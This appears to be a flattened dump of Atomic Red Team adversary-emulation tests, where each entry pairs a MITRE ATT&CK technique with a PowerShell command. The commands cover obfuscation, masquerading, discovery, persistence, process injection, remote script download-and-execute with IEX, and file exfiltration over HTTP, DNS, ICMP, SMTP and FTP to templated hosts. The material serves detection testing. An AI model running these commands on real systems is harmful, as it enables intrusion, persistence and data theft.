powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
T1027
powershell
windows
DLP Evasion via Sensitive Data in VBA Macro over email
Obfuscated Files or Information
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
T1027
powershell
windows
DLP Evasion via Sensitive Data in VBA Macro over HTTP
Obfuscated Files or Information
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
T1027
powershell
windows
Obfuscated Command in PowerShell
Obfuscated Files or Information
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
T1027
powershell
elevated
windows
Snake Malware Encrypted crmlog file
Obfuscated Files or Information
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver. [Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"
T1027
powershell
windows
Obfuscated PowerShell Command via Character Array
Obfuscated Files or Information
Spawns a child PowerShell process using character array obfuscation. Both the PowerShell binary name and executed command are constructed from ASCII values at runtime to evade string-based detection.
$ps = [char[]](112,111,119,101,114,115,104,101,108,108)
$cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101)
& (-join $ps) "-Command" (-join $cmd)
T1027.004
powershell
windows
Dynamic C# Compile
Compile After Delivery
When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution. The exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder. Upon execution, the exe will print 'T1027.004 Dynamic Compile'.
Invoke-Expression "#{input_file}"
T1027.006
powershell
windows
HTML Smuggling Remote Payload
HTML Smuggling
The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)
& "PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html"
T1027.007
powershell
elevated
windows
Dynamic API Resolution-Ninja-syscall
Dynamic API Resolution
This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }
T1027.013
powershell
windows, macos, linux
Decode Eicar File and Write to File
Encrypted/Encoded File
Decode the eicar value, and write it to file, for AV/EDR to try to catch.
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File $env:temp\T1027.013_decodedEicar.txt
T1027.013
powershell
windows, macos, linux
Decrypt Eicar File and Write to File
Encrypted/Encoded File
Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | Out-File $env:temp\T1027.013_decryptedEicar.txt
T1027.018
powershell
windows
File Masquerading with Zero-Width Space
Invisible Unicode
Creates a file named 'secret.txt' but inserts a Zero-Width Space (U+200B) before the extension. This emulates how adversaries hide malicious files in plain sight, as they appear identical to legitimate files in File Explorer.
$fileName = "secret" + [char]0x200B + ".txt"
New-Item -Path "$env:TEMP\$fileName" -ItemType "file" -Value "Hidden Unicode Content" -Force
Write-Host "Created file: $env:TEMP\$fileName"
T1027.018
powershell
windows
Invisible Unicode in Environment Variables
Invisible Unicode
Sets an environment variable that includes a Zero-Width Non-Joiner (U+200C). This emulates techniques used to hide configuration data or persistence paths from administrators performing manual audits.
$varName = "PATH" + [char]0x200C
[Environment]::SetEnvironmentVariable($varName, "C:\Users\Public\Malicious", "User")
Write-Host "Hidden environment variable '$varName' set."
T1027.018
powershell
windows
Binary Masquerading via Invisible Unicode
Invisible Unicode
Copies a system binary (calc.exe) to a new name containing an invisible character (U+200D) and executes it. This tests the ability of EDRs to handle non-normalized file paths in process execution events.
$hiddentarget = "$env:TEMP\calc" + [char]0x200D + ".exe"
Copy-Item "C:\Windows\System32\calc.exe" -Destination $hiddentarget
Start-Process $hiddentarget
T1030
powershell
windows
Network-Based Data Transfer in Small Chunks
Data Transfer Size Limits
Simulate transferring data over a network in small chunks to evade detection.
$file = [System.IO.File]::OpenRead(#{source_file_path})
$chunkSize = #{chunk_size} * 1KB
$buffer = New-Object Byte[] $chunkSize
while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
$encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk
}
$file.Close()
T1033
powershell
windows
Find computers where user has session - Stealth mode (PowerView)
System Owner/User Discovery
Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
T1033
powershell
windows
User Discovery With Env Vars PowerShell Script
System Owner/User Discovery
Use the PowerShell environment variables to identify the current logged user.
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
T1033
powershell
windows
GetCurrent User with PowerShell Script
System Owner/User Discovery
Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
T1033
powershell
windows
System Discovery - SocGholish whoami
System Owner/User Discovery
SocGholish performs whoami discovery commands and outputs the results to a tmp file. The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp. Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
$TokenSet = @{
U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"
whoami.exe /all >> #{output_path}\$file
T1036
powershell
windows
System File Copied to Unusual Location
Masquerading
It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.
copy-item "$env:windir\System32\cmd.exe" -destination "$env:allusersprofile\cmd.exe"
start-process "$env:allusersprofile\cmd.exe"
sleep -s 5
stop-process -name "cmd" | out-null
T1036
powershell
windows
Malware Masquerading and Execution from Zip File
Masquerading
When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force
cd "$env:userprofile\Downloads\T1036"
cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null
T1036.002
powershell
windows
Masquerading: Right-to-Left Override Batch File Creation and Execution
Right-to-Left Override
'Creates a batch file and then uses the RTLO operator (0x202E) to transform the file name from "evil_batchfdp.bat" to "evil_batchtab.pdf". The script then executes the batch file which displays "Hello World!" for 30 seconds before closing out.'
$filepath = #{fileloc}
$rtlo = [char]0x202E
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
$payload = @"
@echo off
echo Hello World!
timeout /t 30 /nobreak
exit
"@
Set-Content -Path $fileloc -Value $payload -Encoding Ascii -Force
Write-Host "Real filename on disk: $fileloc"
Write-Host "Displays in explorer as: evil_batchtab.pdf"
Start-Process -FilePath $fileloc -Wait
T1036.002
powershell
windows
Masquerading: RTLO Masqueraded File Download and Execution
Right-to-Left Override
Downloads a batch file that has an obfuscated name utilizing the RTLO operator. The batch file then runs automatically, opening a cmd window and then closing 30 seconds later
$rtlo = [char]0x202E
$filepath = #{fileloc}
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1036.002/src/evil_batch.bat" -OutFile $fileloc -UseBasicParsing | Out-Null
Start-Process -FilePath $fileloc
T1036.003
powershell
windows
Masquerading - non-windows exe running as windows exe
Rename Legitimate Utilities
Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
copy "#{inputfile}" #{outputfile}
try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id }
catch { $_; exit $_.Exception.HResult}
Stop-Process -ID $myT1036_003
T1036.003
powershell
windows
Masquerading - windows exe running as different windows exe
Rename Legitimate Utilities
Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe
copy "#{inputfile}" #{outputfile}
$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036_003
T1036.005
powershell
windows
Masquerade as a built-in system executable
Match Legitimate Resource Name or Location
Launch an executable that attempts to masquerade as a legitimate executable.
Add-Type -TypeDefinition @'
public class Test {
public static void Main(string[] args) {
System.Console.WriteLine("tweet, tweet");
}
}
'@ -OutputAssembly "#{executable_filepath}"
Start-Process -FilePath "#{executable_filepath}"
T1036.005
powershell
elevated
windows
Masquerading cmd.exe as VEDetector.exe
Match Legitimate Resource Name or Location
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application. The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary. This technique may be used to evade detection by mimicking legitimate software names or locations. Expected Output: - A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe. - SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications). - Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms. References: - [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/) - [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force
# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force
# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"
Start-Sleep -Seconds 5
T1039
powershell
elevated
windows
Copy a sensitive File over Administrative share with Powershell
Data from Network Shared Drive
Copy from sensitive File from the c$ of another LAN computer with powershell https://twitter.com/SBousseaden/status/1211636381086339073
copy-item -Path "\\#{remote}\C$\#{share_file}" -Destination "$Env:TEMP\#{local_file}"
T1040
powershell
elevated
windows
PowerShell Network Sniffing
Network Sniffing
PowerShell Built-in Cmdlets to capture network traffic. https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps
New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl"
Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100
Start-NetEventSession -Name Capture007
Stop-NetEventSession -Name Capture007
Remove-NetEventSession -Name Capture007
T1041
powershell
windows
C2 Data Exfiltration
Exfiltration Over C2 Channel
Exfiltrates a file present on the victim machine to the C2 server.
if(-not (Test-Path #{filepath})){
1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
T1041
powershell
windows
Text Based Data Exfiltration using DNS subdomains
Exfiltration Over C2 Channel
Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}
$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"
foreach ($chunk in $chunks) {
$dnsQuery = $chunk + "." + $dnsServer
Resolve-DnsName -Name $dnsQuery
Start-Sleep -Seconds 5
}
T1046
powershell
elevated
windows
Port Scan NMap for Windows
Network Service Discovery
Scan ports to check for listening ports for the local host 127.0.0.1
nmap #{host_to_scan}
T1046
powershell
windows
Port Scan using python
Network Service Discovery
Scan ports to check for listening ports with python
python "#{filename}" -i #{host_ip}
T1046
powershell
windows
WinPwn - spoolvulnscan
Network Service Discovery
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046
powershell
windows
WinPwn - MS17-10
Network Service Discovery
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046
powershell
windows
WinPwn - bluekeep
Network Service Discovery
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046
powershell
windows
WinPwn - fruit
Network Service Discovery
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046
powershell
windows
Port-Scanning /24 Subnet with PowerShell
Network Service Discovery
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed.
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
T1046
powershell
elevated
windows
Remote Desktop Services Discovery via PowerShell
Network Service Discovery
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1047
powershell
elevated
windows
Create a Process using obfuscated Win32_Process
Windows Management Instrumentation
This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic. [Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
T1048
powershell
windows
DNSExfiltration (doh)
Exfiltration Over Alternative Protocol
DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
T1048.003
powershell
windows
Exfiltration Over Alternative Protocol - ICMP
Exfiltration Over Unencrypted Non-C2 Protocol
Exfiltration of specified file over ICMP protocol. Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
T1048.003
powershell
windows
Exfiltration Over Alternative Protocol - HTTP
Exfiltration Over Unencrypted Non-C2 Protocol
Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
T1048.003
powershell
windows
Exfiltration Over Alternative Protocol - SMTP
Exfiltration Over Unencrypted Non-C2 Protocol
Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
Exfiltration Over Unencrypted Non-C2 Protocol
This test simulates MAZE's ransomware's ability to exfiltrate data via FTP. Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}
T1048.003
powershell
elevated
windows
Exfiltration Over Alternative Protocol - FTP - Rclone
Exfiltration Over Unencrypted Non-C2 Protocol
Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server. [Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)
$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate
T1049
powershell
windows
System Network Connections Discovery with PowerShell
System Network Connections Discovery
Get a listing of network connections. Upon successful execution, powershell.exe will execute get-NetTCPConnection. Results will output via stdout.
Get-NetTCPConnection
T1049
powershell
windows
System Network Connections Discovery via PowerShell (Process Mapping)
System Network Connections Discovery
Enumerate TCP connections and map to owning process names via PowerShell.
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
powershell
elevated
windows
System Discovery using SharpView
System Network Connections Discovery
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1053.005
powershell
windows
Powershell Cmdlet Scheduled Task
Scheduled Task
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005
powershell
windows
Task Scheduler via VBA
Scheduled Task
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005
powershell
elevated
windows
WMI Invoke-CimMethod Scheduled Task
Scheduled Task
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005
powershell
elevated
windows
Import XML Schedule Task with Hidden Attribute
Scheduled Task
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005
powershell
windows
PowerShell Modify A Scheduled Task
Scheduled Task
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified to run notepad.exe. Upon successful execution, powershell.exe will create a scheduled task and modify the action.
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1055
powershell
windows
Shellcode execution via VBA
Process Injection
This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines. Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
T1055
powershell
windows
Section View Injection
Process Injection
This test creates a section object in the local process followed by a local section view. The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. A thread is then created in the target process, using the remote section view as start address.
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
T1055
powershell
windows
Dirty Vanity process Injection
Process Injection
This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid}
T1055
powershell
elevated
windows
Read-Write-Execute process Injection
Process Injection
